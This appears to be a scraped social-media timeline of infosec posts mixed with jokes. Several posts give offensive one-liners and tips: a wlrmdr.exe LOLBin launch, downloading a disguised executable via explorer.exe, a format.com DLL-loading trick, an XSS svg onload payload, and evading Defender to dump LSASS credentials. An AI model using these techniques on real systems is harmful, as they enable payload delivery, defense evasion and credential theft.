Canis Majoris

Information security, Golang

[Hossein NafisiAsl @MeAsHacker_HNA]

Bypassing 403s like a PRO! ($2,100)

https://t.co/UO82looDrG

#bugbountytip

[Phith0n @phithon_xg]

Another Java magic: Java is the only language(maybe?) that can list directories via a file:// scheme that I have ever seen.
Also can prepend a "url:" to bypass some restrictions: url:file:///etc/

[OrdinalExport @OrdinalExport]

Okay - stolen from reddit, but probably the biggest burn you could give a video game. Let it sink in....

[Grzegorz Tworek @0gtweet]

Probably the weirdest #LOLBin I have ever found... 😅
wlrmdr.exe -s 3600 -f 0 -t Click me! -m To run calculator -a 10 -u calc.exe

[Amelia Warner @facetimeJS]

This #OpenSource project needs some contribution

[Cyber Academy @cyberacademydev]

🥷 Какими будут хакеры web3? Легко ли взломать децентрализованный интернет? Как вообще устроена безопасность web3?

9 февраля в 18:00 поговорим об этом на онлайн-митапе с @theRaz0r 💥

Присоединяйтесь к нам по ссылке 👉 https://t.co/jEycxJRl1a

[Canis Majoris @majorisc]

@jedisct1 but parseInt(0.0000015) returns 0 ;D

[mr.d0x @mrd0x]

explorer.exe can launch a browser and download a file. Append a harmless extension to the file then remove it after download.

Default browser:
explorer.exe https://server/file.exe.txt

Edge:
explorer.exe microsoft-edge:https://server/file.exe.txt

[Raz0r @theRaz0r]

Since more injection tools via NFTs are coming here is an NFT collection template that I used to find bugs in NFT marketplaces, it contains payloads to test against SSRF, image processors CVEs (ImageMagick, GhostScript), XXE and XSS: https://t.co/CY48ZuB2Qc

[Grzegorz Tworek @0gtweet]

WHAT?! 😂
If you provide /FS:FILESYSTEM parameter to the format[.]com utility, the resulting process will try to load ("U"+FILESYSTEM).DLL using the default search path...
The weirdest custom DLL launcher I have meet so far :D

[Florian Roth ⚡️ @cyb3rops]

#Y22Problem #Exchange

[#HaydSays @haydsays]

I don't know who else needs to know this, but an INT variable has limits..

Type int, which uses 32 bits giving it a range of -2147483648 to [phone], inclusive..

Today's date string ["YYMMDDHHMM"] is 2201010001, which is larger than that.

HAPPY NEW YEAR!

[@iainthomson @iainthomson]

First image comes in from the James Webb Space Telescope.

[XSS Payloads @XssPayloads]

Kindda psychedelic one by @aemkei

<pre id=p style=background:#000><svg onload='setInterval(n=>{for(o=t++,i=476;i--;o+=i%30?("0o"[c=0|(h=v=>(M=Math).hypot(i/30-8+3*M.sin(t/8/v),i%30/2-7+4*M.cos(t/9/v)))(7)*h(9)*h(6)/32]||".").fontcolor(c>2):"\n");p.innerHTML=o},t=1)'>

[Canis Majoris @majorisc]

@XakepRU Уже? Всё еще...

[Canis Majoris @majorisc]

#log4j #exploit

[Cube0x0 @cube0x0]

Scanner and automated exploitation of the CVE-2021-42287/CVE-2021-42278.
Yet another low effort domain user to domain admin exploit
https://t.co/9M5YbPIyaP

[cts🌸 @gf_256]

so nodeJS is up next, right?

[Fabio Viggiani @fabio_viggiani]

Don't forget to look for the simple things too!

[mr.d0x @mrd0x]

If you rename procdump.exe to dump64.exe and place it in the "C:\Program Files (x86)\Microsoft Visual Studio\*" folder, you can bypass Defender and dump LSASS.